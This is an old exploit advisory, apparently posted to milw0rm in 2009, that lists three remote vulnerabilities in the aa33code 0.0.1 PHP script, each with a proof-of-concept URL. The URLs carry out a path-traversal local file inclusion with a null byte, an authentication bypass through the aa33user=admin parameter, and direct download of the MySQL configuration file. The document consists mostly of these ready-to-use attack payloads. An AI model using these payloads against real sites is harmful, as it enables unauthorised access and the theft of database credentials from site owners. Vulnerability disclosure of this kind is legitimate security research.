31 lines
No EOL
920 B
Text
31 lines
No EOL
920 B
Text
##############################################################################################################
|
|
[+] aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites
|
|
[+] Discovered By SirGod
|
|
[+] http://insecurity-ro.org
|
|
[+] http://h4cky0u.org
|
|
##############################################################################################################
|
|
|
|
[+] Download : http://sourceforge.net/projects/aa33code/files/aa33code/0.0.1/aa33code-0.0.1.tar.gz/download
|
|
|
|
[+] Local File Inclusion
|
|
|
|
- PoC
|
|
|
|
http://127.0.0.1/[path]/reviews.php?artid=../../../../../../boot.ini%00
|
|
|
|
[+] Authentication Bypass
|
|
|
|
- PoC
|
|
|
|
http://127.0.0.1/[path]/artedit/main.php?aa33user=admin
|
|
|
|
[+] Database Configuration Disclosure
|
|
|
|
- PoC
|
|
|
|
http://127.0.0.1/[path]/inc/mysql.inc
|
|
|
|
|
|
##############################################################################################################
|
|
|
|
# milw0rm.com [2009-08-01] |